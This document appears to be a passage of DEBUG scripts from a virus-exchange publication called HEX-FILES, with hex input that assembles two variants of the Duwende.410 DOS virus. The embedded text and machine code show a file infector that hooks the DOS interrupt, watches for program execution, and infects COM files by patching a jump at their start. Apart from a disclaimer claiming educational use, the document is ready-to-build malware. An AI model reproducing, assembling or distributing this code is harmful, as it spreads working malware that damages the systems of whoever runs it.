E 0280 73 20 76 69 72 69 69 20 69 73 20 73 74 72 69 63
E 0290 74 6C 79 20 66 6F 72 20 65 64 75 63 61 74 69 6F
E 02A0 6E 61 6C 20 6F 72 20 72 65 73 65 61 72 63 68 20
E 02B0 70 75 72 70 6F 73 65 73 20 6F 6E 6C 79 2E 0D 0A
E 02C0 0A 24 1A 1A E9 08 00 B4 09 CD 21 B4 4C CD 21 E8
E 02D0 00 00 FC B0 FF BD 00 01 98 99 CD 21 3A C2 5E 74
E 02E0 4F 2B FF 8C C0 48 8E D8 8B 5D 03 B9 1E 00 90 2B
E 02F0 D9 51 B4 4A CD 21 B1 08 5B 4B B4 48 CD 21 50 8E
E 0300 C0 48 51 89 45 12 8E D8 8F 45 01 0E 1F 56 83 EE
E 0310 03 B9 9A 01 F3 A4 5E 1F B8 21 35 CD 21 89 1E 82
E 0320 00 8C 06 84 00 B4 25 BA 75 00 CD 21 0E 1F 0E 07
E 0330 81 C6 94 01 BF C4 01 03 FD 57 A4 A5 C3 44 75 77
E 0340 65 6E 64 65 9C 80 FC 4B 74 20 3D FF FF 74 06 9D
E 0350 EA 9E 10 10 01 42 9D B0 00 CF 20 50 75 74 6F 6B
E 0360 73 61 20 4B 61 77 61 79 61 6E 50 51 52 53 56 1E
E 0370 06 B4 2F CD 21 06 53 1E 52 0E 1F BA 9A 01 B4 1A
E 0380 CD 21 8B F2 5A 1F B4 4E B9 27 00 CD 21 72 20 0E
E 0390 1F 8A 44 16 8A 64 18 B2 1F 22 C2 74 06 22 E2 3A
E 03A0 C4 74 0C 8A 04 04 40 B4 3A 89 44 1C E8 0F 00 5A
E 03B0 1F B4 1A CD 21 07 1F 5E 5B 5A 59 58 EB 91 B8 24
E 03C0 35 CD 21 06 53 B4 25 BA 88 00 50 CD 21 8D 54 1C
E 03D0 33 C9 B8 01 43 CD 21 72 0F 52 E8 11 00 5A 32 ED
E 03E0 8A 4C 15 B8 01 43 CD 21 58 5A 1F CD 21 C3 B8 02
E 03F0 3D CD 21 72 F8 93 B4 3F B9 03 00 8D 54 FD CD 21
E 0400 8B 44 FD 3C E9 75 5A 8B 54 FE 03 D1 B1 00 B8 00
E 0410 42 50 51 52 CD 21 A3 66 00 50 B4 3F 8D 54 FD B1
E 0420 03 CD 21 5A 8B 44 1A 2B C1 2B C2 C6 04 E9 89 44
E 0430 01 5A 59 58 50 51 CD 21 8B D6 B1 03 B4 40 CD 21
E 0440 59 58 8B 54 1A CD 21 8B CE B4 40 CD 21 8B 44 18
E 0450 8B 4C 16 8B D0 24 1F 80 E1 E0 0A C8 B8 01 57 CD
E 0460 21 B4 3E CD 21 C3 BA 03 01
RCX
0369
W
Q
-- DWND410A.SCR ENDS HERE ------------------------------------------
-- DWND410B.SCR STARTS HERE ----------------------------------------
N DWND410B.COM
E 0100 E9 C1 01 0D 0A 4D 61 62 75 68 61 79 21 0D 0A 0A
E 0110 54 68 69 73 20 69 73 20 44 75 77 65 6E 64 65 2E
E 0120 34 31 30 2E 42 20 76 69 72 75 73 20 63 6F 6D 69
E 0130 6E 67 20 74 6F 20 79 6F 75 20 66 72 6F 6D 20 74
E 0140 68 65 20 50 68 69 6C 69 70 70 69 6E 65 73 2E 0D
E 0150 0A 42 72 6F 75 67 68 74 20 74 6F 20 79 6F 75 20
E 0160 6C 69 76 65 20 62 79 20 48 45 58 2D 46 49 4C 45
E 0170 53 20 4E 6F 2E 20 31 0D 0A 0A 48 45 58 2D 46 49
E 0180 4C 45 53 20 61 6E 64 20 50 75 74 6F 6B 73 61 20
E 0190 4B 61 77 61 79 61 6E 20 61 72 65 20 6E 6F 74 20
E 01A0 72 65 73 70 6F 6E 73 69 62 6C 65 20 66 6F 72 20
E 01B0 61 6C 6C 20 61 63 74 75 61 6C 2C 20 69 6D 70 6C
E 01C0 69 65 64 20 61 6E 64 0D 0A 69 6D 61 67 69 6E 61
E 01D0 72 79 20 64 61 6D 61 67 65 20 62 72 6F 75 67 68
E 01E0 74 20 61 62 6F 75 74 20 62 79 20 74 68 65 20 75
E 01F0 73 65 2C 20 6D 69 73 75 73 65 20 6F 72 20 6E 6F
E 0200 6E 2D 75 73 65 20 6F 66 20 74 68 69 73 20 76 69
E 0210 72 69 69 2E 0D 0A 41 6E 79 62 6F 64 79 20 77 68
E 0220 6F 20 65 78 65 63 75 74 65 73 20 74 68 69 73 20
E 0230 76 69 72 69 69 20 62 65 61 72 73 20 66 75 6C 6C
E 0240 20 72 65 73 70 6F 6E 73 69 62 69 6C 69 74 79 20
E 0250 66 6F 72 20 61 6E 79 20 75 6E 74 6F 77 61 72 64
E 0260 0D 0A 69 6E 63 69 64 65 6E 74 20 74 68 61 74 20
E 0270 6D 61 79 20 6F 63 63 75 72 2E 0D 0A 0A 54 68 69
E 0280 73 20 76 69 72 69 69 20 69 73 20 73 74 72 69 63
E 0290 74 6C 79 20 66 6F 72 20 65 64 75 63 61 74 69 6F
E 02A0 6E 61 6C 20 6F 72 20 72 65 73 65 61 72 63 68 20
E 02B0 70 75 72 70 6F 73 65 73 20 6F 6E 6C 79 2E 0D 0A
E 02C0 0A 24 1A 1A E9 08 00 B4 09 CD 21 B4 4C CD 21 E8
E 02D0 00 00 FC B0 FF BD 00 01 98 99 CD 21 38 D0 5E 74
E 02E0 4F 29 FF 8C C0 48 8E D8 8B 5D 03 B9 1E 00 90 29
E 02F0 CB 51 B4 4A CD 21 B1 08 5B 4B B4 48 CD 21 50 8E
E 0300 C0 48 51 89 45 12 8E D8 8F 45 01 0E 1F 56 83 EE
E 0310 03 B9 9A 01 F3 A4 5E 1F B8 21 35 CD 21 89 1E 82
E 0320 00 8C 06 84 00 B4 25 BA 75 00 CD 21 0E 1F 0E 07
E 0330 81 C6 94 01 BF C4 01 01 EF 57 A4 A5 C3 44 75 77
E 0340 65 6E 64 65 9C 80 FC 4B 74 20 3D FF FF 74 06 9D
E 0350 EA 74 00 6A 9F 42 9D B0 00 CF 20 50 75 74 6F 6B
E 0360 73 61 20 4B 61 77 61 79 61 6E 50 51 52 53 56 1E
E 0370 06 B4 2F CD 21 06 53 1E 52 0E 1F BA 9A 01 B4 1A
E 0380 CD 21 89 D6 5A 1F B4 4E B9 27 00 CD 21 72 20 0E
E 0390 1F 8A 44 16 8A 64 18 B2 1F 20 D0 74 06 20 D4 38
E 03A0 E0 74 0C 8A 04 04 40 B4 3A 89 44 1C E8 0F 00 5A
E 03B0 1F B4 1A CD 21 07 1F 5E 5B 5A 59 58 EB 91 B8 24
E 03C0 35 CD 21 06 53 B4 25 BA 88 00 50 CD 21 8D 54 1C
E 03D0 31 C9 B8 01 43 CD 21 72 0F 52 E8 11 00 5A 30 ED
E 03E0 8A 4C 15 B8 01 43 CD 21 58 5A 1F CD 21 C3 B8 02
E 03F0 3D CD 21 72 F8 93 B4 3F B9 03 00 8D 54 FD CD 21
E 0400 8B 44 FD 3C E9 75 5A 8B 54 FE 01 CA B1 00 B8 00
E 0410 42 50 51 52 CD 21 A3 66 00 50 B4 3F 8D 54 FD B1
E 0420 03 CD 21 5A 8B 44 1A 29 C8 29 D0 C6 04 E9 89 44
E 0430 01 5A 59 58 50 51 CD 21 89 F2 B1 03 B4 40 CD 21
E 0440 59 58 8B 54 1A CD 21 89 F1 B4 40 CD 21 8B 44 18
E 0450 8B 4C 16 89 C2 24 1F 80 E1 E0 08 C1 B8 01 57 CD
E 0460 21 B4 3E CD 21 C3 BA 03 01
RCX
0369
W
Q
-- DWND410B.SCR ENDS HERE ------------------------------------------